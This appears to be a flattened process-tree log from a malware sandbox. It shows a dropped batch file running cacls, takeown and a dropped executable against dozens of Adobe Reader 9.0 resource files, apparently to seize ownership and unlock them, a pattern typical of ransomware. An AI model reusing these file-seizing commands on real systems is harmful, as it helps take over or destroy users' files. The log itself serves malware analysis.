C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT""2⤵
- Loads dropped DLL
PID:1744 -
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT" /E /G Admin:F /C3⤵PID:1720
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT"3⤵PID:1404
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "CROATIAN.TXT" -nobanner3⤵
- Loads dropped DLL
PID:1040 -
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "CROATIAN.TXT" -nobanner4⤵
- Executes dropped EXE
PID:960
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
PID:892
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT""2⤵PID:460
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT" /E /G Admin:F /C3⤵PID:2008
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT"3⤵
- Modifies file permissions
PID:588
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "CP1251.TXT" -nobanner3⤵PID:752
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "CP1251.TXT" -nobanner4⤵
- Executes dropped EXE
PID:1484
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:668
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig""2⤵PID:1624
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig" /E /G Admin:F /C3⤵PID:1776
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig"3⤵
- Modifies file permissions
PID:1156
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "cryptocme2.sig" -nobanner3⤵PID:1892
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "cryptocme2.sig" -nobanner4⤵PID:1364
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:996
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif""2⤵PID:992
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif" /E /G Admin:F /C3⤵PID:108
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif"3⤵
- Modifies file permissions
PID:1136
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "forms_distributed.gif" -nobanner3⤵PID:1708
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "forms_distributed.gif" -nobanner4⤵PID:616
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:748
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif""2⤵PID:1040
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif" /E /G Admin:F /C3⤵PID:1744
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif"3⤵PID:1152
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "reviews_sent.gif" -nobanner3⤵PID:1844
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "reviews_sent.gif" -nobanner4⤵PID:1724
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1808
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif""2⤵PID:1304
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif" /E /G Admin:F /C3⤵PID:1936
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif"3⤵
- Modifies file permissions
PID:1588
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "stop_collection_data.gif" -nobanner3⤵PID:1776
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "stop_collection_data.gif" -nobanner4⤵PID:1156
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1364
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm""2⤵PID:860
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm" /E /G Admin:F /C3⤵PID:1412
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm"3⤵PID:760
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "ReadMe.htm" -nobanner3⤵PID:108
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "ReadMe.htm" -nobanner4⤵PID:1136
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1720
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf""2⤵PID:1312
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf" /E /G Admin:F /C3⤵PID:964
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf"3⤵
- Modifies file permissions
PID:1060
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "MinionPro-It.otf" -nobanner3⤵PID:1744
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "MinionPro-It.otf" -nobanner4⤵PID:1152
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1724
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB""2⤵PID:1300
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB" /E /G Admin:F /C3⤵PID:1900
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB"3⤵
- Modifies file permissions
PID:1020
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "ZX______.PFB" -nobanner3⤵PID:1936
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "ZX______.PFB" -nobanner4⤵PID:1588
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1156
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp""2⤵PID:812
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp" /E /G Admin:F /C3⤵PID:1924
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp"3⤵
- Modifies file permissions
PID:1176
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "brt04.hsp" -nobanner3⤵PID:1224
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "brt04.hsp" -nobanner4⤵PID:1708
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1760
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env""2⤵PID:892
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env" /E /G Admin:F /C3⤵PID:1904
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env"3⤵
- Modifies file permissions
PID:1744
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "engphon.env" -nobanner3⤵PID:2008
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "engphon.env" -nobanner4⤵PID:992
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1248
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT""2⤵PID:1508
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT" /E /G Admin:F /C3⤵PID:516
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT"3⤵PID:1936
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "CORPCHAR.TXT" -nobanner3⤵PID:836
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "CORPCHAR.TXT" -nobanner4⤵PID:1040
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:952
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT""2⤵PID:1404
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT" /E /G Admin:F /C3⤵PID:616
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT"3⤵PID:1224
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "CP1250.TXT" -nobanner3⤵PID:668
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "CP1250.TXT" -nobanner4⤵PID:1600
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1744
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf""2⤵PID:1700
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf" /E /G Admin:F /C3⤵PID:964
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\MyriadCAD.otf"3⤵
- Modifies file permissions
PID:268
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "MyriadCAD.otf" -nobanner3⤵PID:1776
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "MyriadCAD.otf" -nobanner4⤵PID:1300
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1156
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif""2⤵PID:1808
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif" /E /G Admin:F /C3⤵PID:1900
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\create_form.gif"3⤵
- Modifies file permissions
PID:108
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "create_form.gif" -nobanner3⤵PID:508
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "create_form.gif" -nobanner4⤵PID:1224
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1912
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif""2⤵PID:812
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif" /E /G Admin:F /C3⤵PID:760
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif"3⤵PID:1924
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "info.gif" -nobanner3⤵PID:1060
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "info.gif" -nobanner4⤵PID:1588
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:268
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif""2⤵PID:1936
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif" /E /G Admin:F /C3⤵PID:748
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif"3⤵
- Modifies file permissions
PID:1248
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "review_same_reviewers.gif" -nobanner3⤵PID:1708
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "review_same_reviewers.gif" -nobanner4⤵PID:1900
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1560
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif""2⤵PID:860
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif" /E /G Admin:F /C3⤵PID:952
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif"3⤵PID:1020
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "trash.gif" -nobanner3⤵PID:1404
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "trash.gif" -nobanner4⤵PID:760
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:516
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf""2⤵PID:268
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf" /E /G Admin:F /C3⤵PID:1464
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf"3⤵PID:2032
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "CourierStd-Bold.otf" -nobanner3⤵PID:108
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "CourierStd-Bold.otf" -nobanner4⤵PID:1900
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1224
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf""2⤵PID:1776
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf" /E /G Admin:F /C3⤵PID:1392
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf"3⤵
- Modifies file permissions
PID:952
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "MyriadPro-It.otf" -nobanner3⤵PID:1020
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "MyriadPro-It.otf" -nobanner4⤵PID:2008
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1404
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt""2⤵PID:556
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt" /E /G Admin:F /C3⤵PID:1048
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt"3⤵PID:2036
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "DisplayLanguageNames.en_GB.txt" -nobanner3⤵PID:1112
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "DisplayLanguageNames.en_GB.txt" -nobanner4⤵PID:960
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:836
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp""2⤵PID:608
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp" /E /G Admin:F /C3⤵PID:1248
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp"3⤵PID:1136
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "can.hyp" -nobanner3⤵PID:616
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "can.hyp" -nobanner4⤵PID:1560
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:668
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp""2⤵PID:812
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp" /E /G Admin:F /C3⤵PID:1312
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp"3⤵
- Modifies file permissions
PID:760
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "usa37.hyp" -nobanner3⤵PID:1924
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "usa37.hyp" -nobanner4⤵PID:964
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1040
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT""2⤵PID:840
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT" /E /G Admin:F /C3⤵PID:2024
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT"3⤵PID:944
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "ICELAND.TXT" -nobanner3⤵PID:2004
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "ICELAND.TXT" -nobanner4⤵PID:432
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1888
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT""2⤵PID:1600
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT" /E /G Admin:F /C3⤵PID:1900
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT"3⤵PID:1180
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "CP1254.TXT" -nobanner3⤵PID:108
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "CP1254.TXT" -nobanner4⤵PID:268
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1464
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif""2⤵PID:1700
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif" /E /G Admin:F /C3⤵PID:1312
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_all.gif"3⤵PID:1404
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "email_all.gif" -nobanner3⤵PID:964
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "email_all.gif" -nobanner4⤵PID:1924
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1040
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif""2⤵PID:812
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif" /E /G Admin:F /C3⤵PID:2024
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif"3⤵PID:836
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c MDdnjdT4.exe -accepteula "open_original_form.gif" -nobanner3⤵PID:432
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula "open_original_form.gif" -nobanner4⤵PID:2004
-
-
-
C:\Users\Admin\AppData\Local\Temp\MDdnjdT4.exeMDdnjdT4.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1888
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\B3OvxwtH.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif""2⤵PID:840
-
